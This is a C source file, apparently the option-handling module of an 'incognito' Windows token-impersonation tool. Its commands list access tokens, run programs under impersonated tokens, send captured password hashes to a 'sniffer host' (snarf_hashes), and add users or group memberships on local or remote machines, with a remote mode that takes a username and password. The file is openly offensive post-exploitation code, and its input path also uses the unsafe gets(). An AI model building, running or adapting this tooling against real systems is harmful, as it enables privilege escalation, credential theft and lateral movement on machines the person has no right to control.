#define _CRT_SECURE_NO_DEPRECATE 1
#include <windows.h>
#include <stdio.h>
#include "child_process.h"
#include "user_management.h"
#include "token_info.h"
#include "process_execution.h"
#include "hash_stealer.h"
#include "list_tokens.h"
#include "remote_connection.h"
#include "handle_arguments.h"
#include "XGetopt.h"

void output_string(char *string, ...)
{
	DWORD dwWritten;
	va_list ap;
	char temp[2048];

	va_start(ap, string);
	if (_vsnprintf(temp, sizeof(temp), string, ap) == -1)
		temp[sizeof(temp)-1] = '\0';

	if (OUTPUT == stdout)
		printf("%s", temp);
	else
		WriteFile(OUTPUT, temp, strlen(temp), &dwWritten, NULL);

	va_end(ap);
}

BOOL output_counted_string(char *string, DWORD dwRead)
{
	DWORD dwWritten;

	if (OUTPUT == stdout)
		return fwrite(string, sizeof(char), dwRead, OUTPUT);
	else
		return WriteFile(OUTPUT, string, dwRead, &dwWritten, NULL);
}

BOOL read_counted_input(char *string, int string_size, DWORD *dwRead)
{
	char *ret_value;

	if (INPUT == stdin)
	{
		ret_value = gets(string);
		*dwRead = strlen(string)+1;
		return (BOOL)ret_value;
	}
	else
		return ReadFile(INPUT, string, string_size, dwRead, NULL);
}

void print_error_if_system()
{
	if (!is_local_system())
		output_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n");
}

void usage(char *programName)
{
	output_string("%s usage:\n\n", programName);
	output_string("%s [global options] COMMAND [options] arguments\n", programName);
	output_string("\n\n");


	output_string("GLOBAL OPTIONS:\n\n");
	output_string("\t-h <host>\tOperate on remote host\n");
	output_string("\t-u <username>\tUsername to use remotely\n");
	output_string("\t-p <password>\tPassword to use remotely\n");
	output_string("\n\n");


	output_string("COMMANDS:\n\n");
	output_string("\tlist_tokens [options]\t\n\n");
	output_string("\t\t-u\tList by unique username\n");
	output_string("\t\t-g\tList by unique groupname\n");
	output_string("\n");

	output_string("\texecute [options] <token> <command>\t\n\n");
	output_string("\t\t-c\tEnable communication by console\n");
	output_string("\n");

	output_string("\tsnarf_hashes <sniffer_host>\t\n\n");

	output_string("\tadd_user [options] <username> <password>\t\n\n");
	output_string("\t\t-h <host>\tAdd user to remote host\n");
	output_string("\n");

	output_string("\tadd_group_user [options] <groupname> <username>\t\n\n");
	output_string("\t\t-h <host>\tAdd user to group on remote host\n");
	output_string("\n");

	output_string("\tadd_localgroup_user [options] <groupname> <username>\t\n\n");
	output_string("\t\t-h <host>\tAdd user to group on remote host\n");
	output_string("\n");

	output_string("\n");


	output_string("TIPS:\n\n");
	output_string("\t- Run as SYSTEM when using locally\n");
	output_string("\t- Run as a standard user when using remotely (-h global option)\n");
	output_string("\t- Remember to enclose arguments with spaces in them within quotation marks\n");
	output_string("\t- Read the manual!\n");
}

void handle_options(int argc, char *argv[])
{	
	int c;
	char username[BUF_SIZE], password[BUF_SIZE], remote_host[BUF_SIZE],
		*command, host_to_add_user[BUF_SIZE] = "127.0.0.1";
	BOOL connect_remotely = FALSE, user_supplied = FALSE, pass_supplied = FALSE, console_mode = FALSE;

	// Parse global incognito options
	while ((c = getopt(argc, argv, "h:u:p:")) != -1)
	{
		switch (c) 
		{		
			case 'u': 
			{
				user_supplied = TRUE;
				strncpy(username, optarg, BUF_SIZE); 
				username[BUF_SIZE-1] = '\0';
				break;
			}
			case 'p': 
			{
				pass_supplied = TRUE;
				strncpy(password, optarg, BUF_SIZE); 
				password[BUF_SIZE-1] = '\0';
				break;
			}
			case 'h': 
			{
				connect_remotely = TRUE;
				strncpy(remote_host, optarg, BUF_SIZE); 
				remote_host[BUF_SIZE-1] = '\0';
				break;
			}
			case '?': output_string("[-] Unknown global option %s\n", argv[optind-1]); return;
			case ':': output_string("[-] %s option argument was not supplied\n", argv[optind-1]); return;
		}	
	}

	if (connect_remotely)
	{
		if (is_local_system())
			output_string("[-] WARNING: Running as SYSTEM. This will fail as SYSTEM cannot authenticate remotely. Run as a standard user.\n");
		
		if (optind >= argc)
		{
			output_string("[-] No arguments supplied to be passed to remote service\n");
			return;
		}

		if (user_supplied && pass_supplied)
			connect_to_machine(remote_host, username, password, (argc-optind)+1, (argv+optind)-1);
		else if (!user_supplied && !pass_supplied)
			connect_to_machine(remote_host, NULL, NULL, (argc-optind)+1, (argv+optind)-1);
		else
			output_string("[-] Please supply either both username and password or neither when connecting remotely\n");
		return;
	}

	// Set incognito command (list_tokens, execute, snarf_hashes etc)
	if (optind < argc)
		command = argv[optind];

	// Increment optind to point to command specific options and arguments
	optind += 1;

	if (!is_local_system())
		output_string("[-] WARNING: Not running as SYSTEM. Not all tokens will be available.\n");

	// Handle each different command
	if (!_stricmp("list_tokens", command))
	{
		while ((c = getopt(argc, argv, "ug")))
		{
			switch (c) 
			{		
				case 'u':	list_unique_tokens(BY_USER); return;
				case 'g':	list_unique_tokens(BY_GROUP); return;
				case EOF:	output_string("[-] No list_tokens command options specified\n"); return;
				default:	output_string("[-] Unknown list_tokens command option\n"); return;
			}	
		}
	}
	else if (!_stricmp("execute", command))
	{
		while ((c = getopt(argc, argv, "c")) != -1)
		{
			switch (c) 
			{		
				case 'c':	console_mode = TRUE; break;
				default:	output_string("[-] Unknown execute command option\n"); return;
			}	
		}

		// Check enough arguments supplied
		if (argc - optind < 2)
		{	
			output_string("[-] Not enough arguments supplied to execute command\n");
			return;
		}

		execute_process_with_primary_token(argv[optind], argv[optind+1], console_mode);
		return;
	}
	else if (!_stricmp("snarf_hashes", command))
	{
		// Check enough arguments supplied
		if (argc - optind < 1)
		{
			output_string("[-] Not enough arguments supplied to snarf_hashes command\n");
			return;
		}

		snarf_hashes(argv[optind]);
	}
	else if (!_stricmp("add_user", command) || !_stricmp("add_localgroup_user", command) || !_stricmp("add_group_user", command))
	{
		while ((c = getopt(argc, argv, "h:")) != -1)
		{
			switch (c) 
			{		
				case 'h':	
				{
					strncpy(host_to_add_user, optarg, BUF_SIZE);
					host_to_add_user[BUF_SIZE-1] = '\0';
					break;
				}
				case ':':	output_string("[-] list_tokens %s option argument was not supplied\n", argv[optind-1]); return;
				default:	output_string("[-] Unknown add_user command option\n"); return;
			}	
		}

		// Check enough arguments supplied
		if (argc - optind < 2)
		{	
			output_string("[-] Not enough arguments supplied to add_user command\n");
			return;
		}

		if (!_stricmp("add_user", command))
			add_user(host_to_add_user, argv[optind], argv[optind+1]);
		else if (!_stricmp("add_localgroup_user", command))
			add_user_to_localgroup(host_to_add_user, argv[optind], argv[optind+1]);
		else if (!_stricmp("add_group_user", command))
			add_user_to_group(host_to_add_user, argv[optind], argv[optind+1]);

		return;
	}
	else
		output_string("[-] Unknown command %s\n", command);
	
	return;
}